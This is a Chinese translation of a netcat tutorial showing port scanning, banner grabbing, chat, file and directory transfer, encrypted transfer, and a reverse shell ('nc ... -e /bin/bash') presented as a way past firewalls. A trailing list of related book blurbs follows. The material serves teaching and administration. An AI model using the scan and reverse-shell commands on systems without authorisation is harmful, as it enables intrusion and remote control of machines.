原文 https://www.oschina.net/translate/linux-netcat-command
Linux netcat 命令实例:
1,端口扫描
端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。
$nc -z -v -n 172.31.100.7 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换
v 参数指使用冗余选项(即详细输出)
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名
这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
Chat Server
假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。
Server
$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
Client
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
3,文件传输
大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。
Server
$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。
在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.
没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。
B作为Server
Server
$nc -l 1567 > file.txt
Client
nc 172.31.100.23 1567 < file.txt
4,目录传输
发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。
如果你想要通过网络传输一个目录从A到B。
Server
$tar -cvf – dir_name | nc -l 1567
Client
$nc -n 172.31.100.7 1567 | tar -xvf -
这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。
在客户端我们下载该压缩包通过netcat 管道然后打开文件。
如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。
Server
$tar -cvf – dir_name| bzip2 -z | nc -l 1567
通过bzip2压缩
Client
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解压
5. 加密你通过网络发送的数据
如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。
服务端
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。
客户端
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
使用mcrypt工具解密数据。
以上两个命令会提示需要密码,确保两端使用相同的密码。
这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。
反向shell
反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
服务端
$nc -l 1567
在客户端,简单地告诉netcat在连接完成后,执行shell。
客户端
$nc 172.31.100.7 1567 -e /bin/bash
现在,什么是反向shell的特别之处呢
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。
相关推荐
"Linux编程命令详解"这本书深入浅出地介绍了Linux系统中的常用命令,是程序员进阶必备的参考资料。以下是根据标题、描述以及标签提炼出的一些关键知识点: 1. **Linux基础**:Linux是一种类Unix操作系统,它基于...
《Linux命令详解词典》是由施威铭研究室编著的一本详尽解析Linux命令的参考书籍,旨在帮助用户深入理解和掌握Linux操作系统中的各种命令。这本书以扫描版的形式提供,包含PDF格式,方便读者在线阅读或下载。标签...
《Linux命令详解词典》是一本详尽解析Linux操作系统中常用命令的参考书籍。Linux作为开源、免费的操作系统,其强大的命令行工具是其高效工作的重要组成部分。这本书旨在帮助用户理解和掌握这些命令,从而更好地在...
在Linux操作系统中,编程是一项基础且...阅读《Linux编程命令详解》这样的资料,将有助于深入理解这些命令的用法和应用场景。同时,实践是检验知识的最好方式,多在终端中尝试这些命令,将有助于巩固记忆并提升技能。
"Linux命令详解手册"提供了全面的命令指南,帮助用户理解和运用各种命令来高效地操作Linux系统。下面将详细阐述Linux命令的主要类别及其重要用途。 1. 文件和目录管理: - `ls`:列出目录内容,常用于查看当前目录...
Linux下安装NC无法显示中文解决方案 在 Linux 环境下安装 NC 时,安装界面的中文经常显示为乱码,导致界面无法正常显示中文字符。这是由于 JVM 无法找到用来显示中文的字库所致。以下是解决该问题的详细分析和解决...
本资源"Linux命令大全"包含了516个Linux命令的详细资料,对于学习和理解Linux操作系统至关重要。下面,我们将深入探讨这个资源中涉及的一些关键知识点。 1. **命令手册**: - 在Linux世界中,命令手册(man pages...
### Linux 下常用命令详解:Netcat (nc) 在 Linux 系统中,`nc`(Netcat)是一款功能强大的网络工具,它可以帮助用户通过 TCP 或 UDP 协议发送和接收数据包。`nc` 命令具有多种用途,包括端口扫描、传输文件、创建...
本文将深入探讨“Linux命令大全详解”所涵盖的各个方面,包括备份与压缩、磁盘管理、磁盘维护、网络通讯、文档编辑、文件传输、文件管理、系统管理和系统设置。 1. **备份与压缩**: - `tar`:用于创建、修改和...
主要介绍了linux中的nc命令知识,非常不错,值得收藏,需要的朋友参考下吧
在Linux操作系统中,命令行是日常操作的核心,熟练掌握各种命令对于提升工作效率至关重要。本文将详细解析Linux系统中涉及备份压缩、文件管理、网络通信、特殊命令等几个主要领域的常用命令。 一、备份压缩 在...
本资料包"Linux系统命令及使用详解"旨在帮助用户全面掌握Linux命令行操作,提升工作效率。 一、基础命令篇 1. `ls`:列出目录内容,常用参数如`-l`显示详细信息,`-a`显示所有文件包括隐藏文件。 2. `cd`:改变当前...
理解和掌握Linux系统命令是每一个IT从业者必备的基础技能。本篇将深入解析Linux系统中的常用命令及其使用方法,包括参数的意义,旨在提供一个全面的参考。 一、文件与目录操作 1. `ls`:列出目录内容,如`ls -l`...
### Linux `nc` 命令使用详解 #### 功能说明 `nc`(Netcat 的简称)是一款功能强大的网络工具,它能够读写 TCP 和 UDP 包,并且提供了多种选项来实现各种复杂的网络任务。`nc` 常被用于网络测试、文件传输、远程...
- `-nc, –no-clobber`:如果目标文件已存在,不覆盖。 - `-c, –continue`:如果已部分下载,从断点继续。 - `--progress=TYPE`:选择进度条样式。 - `-N, –timestamping`:只下载比本地文件新的文件。 - `-S, –...
本篇文章将详细讲解Linux系统中的常用命令及其使用方法。 一、文件与目录操作 1. **ls**:列出目录内容。例如,`ls -l` 显示详细信息,`ls -a` 显示包括隐藏文件。 2. **cd**:切换当前工作目录。如`cd /home/...